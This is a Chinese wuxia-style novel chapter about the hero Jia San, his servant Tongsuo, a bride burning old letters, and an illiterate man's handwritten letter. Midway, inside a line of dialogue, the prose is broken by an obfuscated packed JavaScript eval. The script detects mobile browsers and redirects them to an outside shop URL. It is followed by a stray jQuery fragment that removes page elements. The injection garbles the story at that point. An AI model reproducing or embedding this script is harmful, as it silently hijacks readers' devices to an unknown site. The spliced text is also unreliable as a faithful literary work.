话说张屠夫在镇上馆子里请客之后，山下的风言风语便如梅雨季的苔藓，湿漉漉地爬满了山庄的墙角。先是有人说贾大侠当年卖胭脂掺面粉，后来有人说那首“吃葡萄不吐葡萄皮”是村口老乞丐教的，再后来竟有人翻出了黑风寨的旧账，说贾大侠压根不会武功，黑风寨那一仗是赵雄打的，他不过是蹲在地上躲刀，裤子差点掉了。这些传言起初只在草棚市集里流传，后来进了镇上的茶馆，再后来连说书人的惊堂木底下都开始往外蹦。温伯安气得摔了三支笔，陆百川带着徒弟们举着“太虚正宗”的旗子在山门口站了三日，逢人便争辩，争到嗓子哑了还在争，结果发现跟他对吵的那些学道者并不在乎真相，他们只是喜欢看热闹。
贾三对这些充耳不闻。每日照旧喝陈皮水，啃炊饼，蹲在廊下看那棵光秃秃的柿子树。只是铜锁发现，他近来多了一个新习惯，每天对着铜镜梳头时，总要把铜镜拿远些，端详半晌，然后闷声问一句：“我是不是长白了？”铜锁停下梳子的动作，从铜镜里看了他一眼，说：“是白了。”贾三又问：“是不是也胖了些？”铜锁说：“胖了。”贾三把铜镜翻过去扣在桌上，沉默片刻，忽然问道：“铜锁，你觉得，这镜子里面的人，还像不像我？”
铜锁没有回答。他把梳子放回妆奁，端起旧茶往外走，走到门口时背对着贾三：“前辈的头发，比上个月又白了几根。”
这日午后，贾三换衣裳时，铜锁注意到他腰间那条旧布带不见了，取而代之的是一条银扣缎带，正是赵雄上回送来的那批衣装里附带的，从前一直压在箱底，连看都不看一眼。铜锁没有问，只是低头替他系好带扣。指腹触到那条新腰带上细密的云纹刺绣时，忽然想起贾三刚进山庄时，第一次穿绸衫，连腰带都不会系，两只手扯着带子两头比划了半天，最后还是他走过去，从那双笨拙的手里接过带子，绕了两圈，打了一个结。他忽然想起了一个人，不是他爹，是那天的当铺掌柜。
又过了一日，铜锁替贾三收拾床铺时，发现枕头底下多了一样东西。那是一个油纸包，纸已经旧得发脆，上头还残留着淡淡的糯米粉指印，是他头一回从厨房偷桂花糕时用来包糕的那张纸。铜锁认得的，这张油纸他替贾三叠过无数回，收进乌木小匣时还特意把当初沾了糯米粉的那面朝里叠好。如今它又被拿了出来，压在玉佩和木牌的旁边。
与此同时，飞鱼庄的喜事也近了。
柳如烟出嫁那日，天还没亮便起了身。侍女端着新房里的铜盆进进出出，打水净面，梳头绞脸，换上一层又一层的嫁衣。那嫁衣是白不群托人从江南织造府订来的，大红织金，满绣缠枝莲纹，里外三层，每一粒盘扣都是珍珠镶的。柳如烟坐在妆镜前，任侍女们摆布，从头到尾没有说一句话。绞脸的丝线绷过她的面颊时，侍女问她疼不疼，她摇了摇头。事实上她什么感觉也没有，那张脸上的皮肤像是被冻过了一层薄霜，掐不疼，也暖不热。
侍女替她梳头时，从妆匣里翻出一根旧红丝线，问要不要扔掉。她伸手接过丝线，缠在自己左手无名指上绕了三匝。然后她让侍女退下，独自坐在镜前，从妆台的暗格里取出一叠书信。
那些信纸，有的厚些，有的薄些，有的边角被揉过又展平，有的背面还粘着风干的碎桂花。她把这些信拿在手里，从头到尾又读了一遍，读完后把信纸一张一张叠好，放进脚边的火盆。火舌舔上来，纸角卷起，墨迹在火光里闪了最后一下，然后化成一撮灰白的余烬，被热气托起来，飘过她的膝头，落在嫁衣的裙摆上。
与此同时，山庄里的桂花被一阵无名的风簌簌吹落，落在贾三脚边，落在铜锁刚擦净的茶盘上，落在温伯安那卷永远写不完的发黄纸上。
入夜，贾三独坐书房。窗外无月，庭中漆黑如墨。他让铜锁把书房所有的灯都点上，铜锁点了一盏又一盏，直到八仙桌上、书架格子里、窗台上都摆满了烛台，火光映得满室通明。然后他铺开信纸，提起笔，停在空中很久。他不识字，但今夜他想自己写。
信“写”完了，他把信叠好，放进信封，封口摁了两滴烛泪，他没有蜜蜡了，蜜蜡锁在那只乌木小匣里，他不忍去开。
他把信递给铜锁，声音沙哑：“这封，还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830813|211319||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
送到盟主府。说不定万一能转到她手里。”
铜锁接过信，低头看了看信封上那三条蚯蚓爬痕般的笔画，看了很久，他忽然觉得，这三个横竖撇捺拼在一起，隐约像一个人蹲在墙根底下，不对，是两个人。他把信揣进怀里，连夜下山。温伯安追到山庄门口，在身后远远喊他的名字，他没有回头。
这夜苏牧羊没有来山庄门口守夜，只是把空葫芦搁在后山那棵新栽的小柿子树下，压了一张纸条。纸条是向陆百川借来的《王八拳图谱》扉页背面，上面只有几个字，酒尽了，守拙门不必再洒。后半夜起了风，空葫芦被吹进沟里，和从前埋在土下的那三钱银子碰在一处，铜板在泥里翻了个面，露出底下那层锈。
此后数日，山庄里有一种奇怪的安静。贾三不再照镜子，也不再问铜锁“像不像我”。他又恢复了一个月前的习惯，蹲在廊下发呆，茶从热放到凉，铜锁收走凉的换热的。孟姑的蒸笼里依旧每日搁两块不放糖的糕，凉了便再热。
这日傍晚，温伯安整理书房时，从《归真日录》的夹页里掉出一张纸条，上面是贾三那夜自己写的信，他不知道这信怎么夹在了日录里，也许是铜锁连夜送走前，先来他这里找封蜡，不小心落在了桌上。他拿起那张纸，对着灯看了许久，然后提笔在底下批了一行字：
“大侠生平不识字。此“如”字凡三笔，笔笔似老树虬枝，非习字者所能摹。叹服。”
他把纸条重新夹进日录，合上书册，灭了书房的灯。
窗外，夜风穿过空荡荡的柿子树枝丫，发出呜呜咽咽的声响，似是一个人想说却说不出口的话。
附：贾三亲笔书信
这封书信从未被收进任何一部刊本，只在温伯安晚年自订《归真日录》夹页中保留了一份摹本。夹页上另附温伯安批注：“大侠亲笔，不识一字而笔意自真。余尝见文华堂林执笔以馆阁体书‘太虚’二字，端庄有余，不如这歪歪扭扭的几笔多矣。”
摹本一侧还钤着温伯安的私印，印泥已褪成淡淡的朱砂色，旁边又有一行小字——“此后大侠不复临镜。”